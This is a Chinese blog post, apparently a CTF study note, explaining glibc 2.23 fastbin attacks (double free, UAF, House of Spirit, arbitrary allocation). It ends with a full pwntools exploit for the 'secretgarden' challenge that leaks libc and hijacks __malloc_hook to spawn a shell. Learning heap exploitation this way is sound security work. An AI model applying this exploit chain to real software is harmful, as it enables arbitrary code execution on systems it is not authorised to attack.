• Fastbin attack 总结


    Fastbin attack

    本文参考了ctf-wiki 和glibc

    要了解fastbin attack,我们先要了解fastbin的机制。由于libc2.26后加入了tcache机制,我们这里就只分析glibc 2.23。

    下面的代码选自glibc 2.23 (有删除)

    static void _int_free (mstate av, mchunkptr p, int have_lock)
    {
      size = chunksize (p);    //获取p的size
      check_inuse_chunk(av, p);//检查p的物理相邻的下一个堆块的inuse位是否置1
    
      //检查p的大小是否小于global_max_fast
      if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
          #if TRIM_FASTBINS
              //检查p物理相邻的堆块是否是top chunk
              && (chunk_at_offset(p, size) != av->top)
          #endif
          ) 
      {
        //检查p的物理相邻下个堆块是否存在,且大小是否满足最小和最大要求
        if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
    	       || __builtin_expect (chunksize (chunk_at_offset (p, size))
    			     >= av->system_mem, 0))
            {.......}
    
    	//对chunk的data块通过memset赋值,但是默认情况下是不进行操作    
        free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
        //设置 malloc_state的flag
        set_fastchunks(av);
    
        //获取p对应大小的fastbinY的索引
        unsigned int idx = fastbin_index(size);
        //fb指向对应大小的fastbinY的地址
        fb = &fastbin (av, idx);
    
        /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
        // old为 对应大小的fastbinY的fd值,也就是第一个对块的地址
        mchunkptr old = *fb, old2;
        unsigned int old_idx = ~0u;
        
        do
          {
          	 // Check that the top of the bin is not the record we are going to add
             //检查 fastbin中对应的bin的第一项 是否 等于 p (新加入的堆块)
            	if (__builtin_expect (old == p, 0))
          	  {
          	    errstr = "double free or corruption (fasttop)";
          	    goto errout;
          	  }
              //获取 fastbin中对应的bin的第一项的索引。
            	if (have_lock && old != NULL)
            	  old_idx = fastbin_index(chunksize(old));
              //让  p 的fd指向 顶部的fastbin块
            	p->fd = old2 = old;
        }
        while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
        //catomic_compare_and_exchange_val_rel 功能是 如果*fb等于old2,则将*fb存储为p,返回old2;
        // *fb=p 也就是 让对应fastbin的fd指向 p(新加入的堆块)
    
        //检查fastbin中对应的bin的第一项的大小是否与p(要添加的块)的大小相同。
        if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
          {
            	errstr = "invalid fastbin entry (free)";
            	goto errout;
          }
      }
    }
    
    #define fastbin_index(sz) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
    

    可以看到fastbin 只是检查了fastbin 第一个chunk是否与新加入的chunk相同。所以我们可以使用free(0) free(1) free(0) 的方式来达到double free。之后还检查大小是否满足要求,通过size算出fastbin_index然后再比对。如果对应的fastbinY的大小为0x70,64位的话size可以在0~0xF之间浮动,也就是说size为0x70-0x7f都会被认为是合法的。32为同理,在0-0x7之间浮动。

    利用的前提:

    • 能创建 fastbin 类型的 chunk

    • 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞

    如果细分的话,可以做如下的分类:

    • Fastbin Double Free

      即利用double free漏洞构造chunk如下图所示

      image-20200513124237921

      我们首先申请回chunk1然后修改其fd值指向一个fake_chunk,这里的chunk要保证size域合法,我们再次申请3次同样的chunk,就会依次拿到chunk2,chunk1,fake_chunk。我们只要在关键位置伪造fake_chunk就可以了。例如在malloc_hook左右伪造fake_chunk,然后修改malloc_hook的值为one_gadget就可以在调用malloc时get_shell。

    • UAF

      同Fastbin Double Free利用手法相似,只不过只需free一次,然后修改FD指针指向fake_chunk。

    • House of Spirit

      该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,再申请回来,从而达到分配指定地址的 chunk 的目的。

      1. 可以 free 你指定的位置的fake_chunk。

      2. 要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

        • fake chunk 的 ISMMAP 位不能为1,因为 free 时,如果是 mmap 的 chunk,会单独处理。

        • fake chunk 地址需要对齐, 32位8字节对齐,64为16字节对齐

        • fake chunk 的 size 大小需要满足对应的 fastbin 的需求。

        • fake chunk 的 next chunk 的大小合理。

    • Alloc to Stack

      该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。

    • Arbitrary Alloc

      Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。我们可以把 chunk 分配到任意的可写内存中,比如bss、heap、data、stack等等。

    小结:以上是fastbin attack的集中方法,总结起来就是3步:

    1.  伪造合理的chunk 
    2.  使fd指向fake_chunk,或者free fake_chunk。   使得fake_chunk加入到fastbin中
    3.  分配得到fake_chunk,进行后续利用
    

    例题

    hitcontraining_secretgarden ,本题libc 为2.23

    首先检查一下保护

    image-20200523200834537

    main函数,有增删查,没有改。

    image-20200523205626739

    漏洞点,del函数free的时候指针没有清零。并且free前没有检查flowerlist[i][0]的值是否为1

    image-20200523205716179

    其他都是常规操作,我就不一一细讲了。

    程序留有后门,我们也可以劫持函数的got来实现调用后门。但是我们这里使用的是劫持__malloc_hook,由于one_gadget不能用,我们通过__libc_realloc改变栈环境,使得one_gadget条件成立。

    from pwn import *
    context.log_level = 'debug'
    p = process('./secretgarden')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    
    def add(length,name,color):
        p.sendlineafter('Your choice : ','1')
        p.sendlineafter('name :',str(length))
        p.sendafter('flower :',name)
        p.sendlineafter('flower :',color)#0x17
    
    def show():
        p.sendlineafter('Your choice : ','2')
    
    def delete(idx):
        p.sendlineafter('Your choice : ','3')
        p.sendlineafter('garden:',str(idx))
        
    #----------------leak libc ---------------#
    add(0x80,'A'*0x80,'B'*23)#0
    add(0x80,'B'*0x80,'B'*23)#1
    
    delete(0) #将其置入unsorted bin
    
    add(0x50,'E'*8,'B'*23)#2
    show()
    p.recvuntil('EEEEEEEE')
    libc_base = u64(p.recvuntil('
    ',drop=True).ljust(8,'x00')) - 0x3c4b78
    print 'libc_base: '+hex(libc_base)
    one = [0x45216,0x4526a,0xf02a4,0xf1147]
    one_gadget = libc_base + one[1]
    #-------------- double free ---------------#
    
    add(0x68,'A'*0x68,'B'*23)#3
    add(0x68,'B'*0x68,'B'*23)#4
    delete(3)
    delete(4)
    delete(3) #fastbinY(0x70) -> 3 -> 4 ->3
    
    #--------------fastbin attack --------------#
    add(0x68,p64(libc_base+libc.symbols['__malloc_hook']-0x23),'B'*23)#5
    add(0x68,'A'*0x68,'B'*23)#6
    add(0x68,'A'*0x68,'B'*23)#7
    add(0x68,'x00'*0xb+p64(one_gadget)+p64(libc_base+libc.symbols['__libc_realloc']+8),'B'*23)
    #gdb.attach(p)
    p.sendlineafter('Your choice : ','1')
    
    
    p.interactive()
    
  • 相关阅读:
    【clickhouse专栏】基础数据类型说明
    【clickhouse专栏】对标mongodb存储类JSON数据文档统计分析
    【小程序专栏】个人及企业资质分别该如何注册小程序
    【clickhouse专栏】新建库角色用户初始化
    20天等待,申请终于通过,安装和体验IntelliJ IDEA新UI预览版
    十二张图:从0开始理解对称/非对称加密、CA认证、以及K8S各组件颁发证书原由
    全局锁、表锁、行锁
    4年博主写博客的折腾之路
    (数据科学学习手札138)使用sklearnex大幅加速scikitlearn运算
    (数据科学学习手札139)geopandas 0.11版本重要新特性一览
  • 原文地址:https://www.cnblogs.com/Rookle/p/12945072.html
Copyright © 2020-2023  润新知